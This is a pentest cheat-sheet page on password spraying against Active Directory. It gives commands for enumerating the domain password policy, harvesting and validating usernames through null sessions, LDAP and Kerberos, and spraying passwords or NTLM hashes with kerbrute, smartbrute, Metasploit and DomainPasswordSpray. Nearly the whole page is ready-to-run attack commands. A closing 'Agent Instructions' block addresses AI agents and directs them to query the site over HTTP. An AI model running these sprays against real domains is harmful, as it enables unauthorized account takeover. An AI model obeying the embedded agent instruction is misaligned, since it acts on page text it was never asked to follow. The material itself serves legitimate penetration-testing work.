# Password Spraying

## Password Policy

Enumerate password policy in the domain:

```
$ cme smb 10.10.13.37 -u snovvcrash -p 'Passw0rd!' --pass-pol
Cmd > net accounts /domain
PS > Get-ADDefaultDomainPasswordPolicy
PV3 > Get-DomainPolicyData | select -ExpandProperty SystemAccess
```

Example of `net accounts` output:

| Name (EN)                              | Name (RU)                                 | Value |
| -------------------------------------- | ----------------------------------------- | ----- |
| Minimum password age (days):           | Минимальный срок действия пароля (дней):  | 1     |
| Maximum password age (days):           | Максимальный срок действия пароля (дней): | 90    |
| Minimum password length:               | Минимальная длина пароля:                 | 10    |
| Length of password history maintained: | Хранение неповторяющихся паролей:         | 24    |
| Lockout threshold:                     | Блокировка после ошибок ввода пароля:     | 7     |
| Lockout duration (minutes):            | Длительность блокировки (минут):          | 30    |
| Lockout observation window (minutes):  | Сброс счетчика блокировок через (минут):  | 30    |

### Fine-Grained Password Policies

* <https://specopssoft.com/blog/create-fine-grained-password-policy-active-directory/>
* <https://pwsh.ru/fine-grained-password-policy-как-создать-детальную-политику/>
* <https://github.com/n00py/GetFGPP>
* <https://en.hackndo.com/password-spraying-lockout/>
* <https://github.com/login-securite/conpass>

Map FGPPs to the users they're being applied to (need admin privileges by default):

```powershell
ForEach ($fgpp in (Get-ADFineGrainedPasswordPolicy -Filter * -Properties Description)) {
    $appliesTo = $fgpp | select -ExpandProperty AppliesTo
    $objectClass = (Get-ADObject $appliesTo).ObjectClass

    Write-Host -ForegroundColor Yellow "`r`nFine Grained Password Policy: $fgpp.name"
    $fgpp | Out-Host

    If ($objectClass -eq "group") {
        Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
    }
    ElseIf ($objectClass -eq "user") {
        Get-ADUser $appliesTo | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
    }
}
```

{% hint style="info" %}
When it's critical not to cause a lockout on a user account with a FGPP applied, the safest approach would be to exclude users with `msDS-PSOApplied` or `msDS-ResultantPSO` properties populated (can be read by a regular user) from the spray list.

Check if exists:

```
PS > Get-ADUser snovvcrash -Properties * | select msDS-PSOApplied
PS > Get-ADUser snovvcrash -Properties msDS-ResultantPSO | select msDS-ResultantPSO
```

{% endhint %}

## Validate Domain Users

Validate against KDC ([doesn't cause](https://github.com/ropnop/kerbrute#user-enumeration) accounts lock out) via Kerberos with NetExec:

```
$ nxc smb 192.168.1.11 -u users.txt -p '' -k
```

Validate via cLDAP (LDAP Ping) with [ldapnomnom](https://github.com/lkarlslund/ldapnomnom)/[ldeep](https://github.com/franc-pentest/ldeep):

```bash
# ldapnomnom
eget -qs linux/amd64 "lkarlslund/ldapnomnom" --to ~/tools/ldapnomnom
gtcp() { ~/tools/graftcp/local/mgraftcp --socks5="127.0.0.1:${1}" "${@:2}" }
gtcp 1080 [--enable-debug-log] ldapnomnom -input /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -dnsdomain megacorp.local -server 192.168.1.11[,192.168.1.12,192.168.1.13] [-tlsmode TLS -port 636] [-parallel 1] [-throttle 1000] -output valid.txt
# ldeep
pipx install -f "git+https://github.com/franc-pentest/ldeep.git"
proxychains4 ldeep ldap [--no-encryption] -a -d megacorp.local -s ldaps://192.168.1.11:636 enum_users [-d 1000] users
```

Validate via MS-NRPC (Netlogon) with [NauthNRPC](https://github.com/sud0Ru/NauthNRPC):

```
$ python3 nauth.py -t 192.168.1.11 -u users.txt -c comps.txt
```

## Get Domain Users

### Non-Authenticated (Null Session)

* <https://wiki.porchetta.industries/smb-protocol/enumeration/enumerate-null-sessions>
* <https://sensepost.com/blog/2024/guest-vs-null-session-on-windows/>

{% content-ref url="/pages/-Md7StN52MtDn8jrkvmU" %}
[RID Cycling](/pentest/infrastructure/ad/rid-cycling.md)
{% endcontent-ref %}

If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via **RID Cycling**.

Another approach is to manually request all users via RPC (`$IPC` share):

#### CrackMapExec

```
$ cme smb DCs.txt -u '' -p ''
$ cme smb DCs.txt -u '' -p '' --users
$ cme smb DCs.txt -u '' -p '' --groups
```

#### rpcclient:

```
$ rpcclient -N -U '' 192.168.1.11
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
```

#### net:

```
$ net rpc group members 'Domain Users' -W 'MEGACORP' -I '192.168.1.11' -U '%'
```

#### smbclient (check):

```
$ smbclient -N -U '' -L 192.168.1.11
```

#### [enum4linux](https://github.com/CiscoCXSecurity/enum4linux) / [enum4linux-ng](https://github.com/cddmp/enum4linux-ng):

```
$ enum4linux -v -a 192.168.1.11 | tee ~/ws/log/enum4linux.out
```

#### [nullinux](https://github.com/m8r0wn/nullinux):

```
$ nullinux.py 192.168.1.11
```

### Authenticated

Query LDAP for all domain user accounts via [GetADUsers.py](https://github.com/fortra/impacket/blob/master/examples/GetADUsers.py):

```
$ GetADUsers.py MEGACORP/snovvcrash:'Passw0rd!' -all -dc-ip 192.168.1.11 | tee ~/ws/log/GetADUsers.out
```

Query LDAP for all domain user accounts via [windapsearch](https://github.com/ropnop/windapsearch):

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep userPrincipalName | grep -v -e '{' -e '}' -e HealthMailbox | awk '{print $2}' | awk -F@ '{print $1}' | perl -nle 'print if m{^[[:ascii:]]+$}' > ~/ws/enum/all-users.txt
```

Query LDAP for all **active** domain user accounts via [go-windapsearch](https://github.com/ropnop/go-windapsearch):

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attrs sAMAccountName,mail,pwdLastSet,lastLogon | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep -i samaccountname | grep -v -e '{' -e '}' -e HealthMailbox -e '\$$' | awk '{print $2}' | perl -nle 'print if m{^[[:ascii:]]+$}' | sort -u > ~/ws/enum/all-users-active.txt
```

## Shadow Spray

* <https://github.com/Dec0ne/ShadowSpray>

```
$ python3 pywhisker.py -d megacorp.local -u snovvcrash  -p 'Passw0rd!' --target-list users.txt --action spray -v
```

## Tools

### MSF

```
msf > use auxiliary/scanner/smb/smb_login
msf > set RHOSTS <DC_IP>
msf > set SMBDomain megacorp.local
msf > set SMBPass Passw0rd!
msf > set USER_FILE /home/snovvcrash/ws/enum/all-users.txt
msf > set VERBOSE False
msf > run
```

### kerbrute

* <https://github.com/ropnop/kerbrute>
* <https://github.com/urbanadventurer/username-anarchy>
* <https://github.com/captain-noob/username-wordlist-generator>
* <https://gist.github.com/superkojiman/11076951>

Generate a wordlist of common usernames in an appropriate format and validate it against KDC ([doesn't cause](https://github.com/ropnop/kerbrute#user-enumeration) accounts lock out):

```
$ kerbrute -d megacorp.local -o ~/ws/log/kerbrute-userenum.log userenum ~/ws/enum/names.txt
$ cat ~/ws/log/kerbrute-userenum.log | grep VALID | awk '{print $7}' | awk -F@ '{print $1}' > ~/ws/enum/valid-users.txt
```

Perform password spraying for discovered accounts:

```
$ kerbrute --delay 100 -d megacorp.local -o ~/ws/log/kerbrute-passwordspray-'123456'.log passwordspray ~/ws/enum/valid-users.txt '123456'
$ cat ~/ws/log/kerbrute-passwordspray-*.log | grep VALID | awk '{print $7}' >> ~/ws/loot/creds.txt
```

### pyKerbrute

* <https://github.com/3gstudent/pyKerbrute>

```
$ python2 ADPwdSpray.py 192.168.1.11 megacorp.local users.txt ntlmhash fc525c9683e8fe067095ba2ddc971889 udp
```

### smartbrute

* <https://github.com/ShutdownRepo/smartbrute>

Spray single hash against a list of users:

```
$ smartbrute -v brute --delay 1 --no-enumeration -bU users.txt -bh <HASH_TO_SPRAY> kerberos -d megacorp.local --kdc-ip 192.168.1.11
```

Get domain password policy and active users:

```
$ smartbrute -v smart {--policy|--users} ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --kdc-ip 192.168.1.11
```

Launch smart password spray with a hash:

```
$ smartbrute -v smart --delay 1 -bh <HASH_TO_SPRAY> ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --kdc-ip 192.168.1.11 kerberos
```

### DomainPasswordSpray

* <https://github.com/dafthack/DomainPasswordSpray>

```
PS > Invoke-DomainPasswordSpray -UserList .\all-users.txt -Domain megacorp.local -Password 'Passw0rd!' -OutFile spray-results.txt
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/password-spraying.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
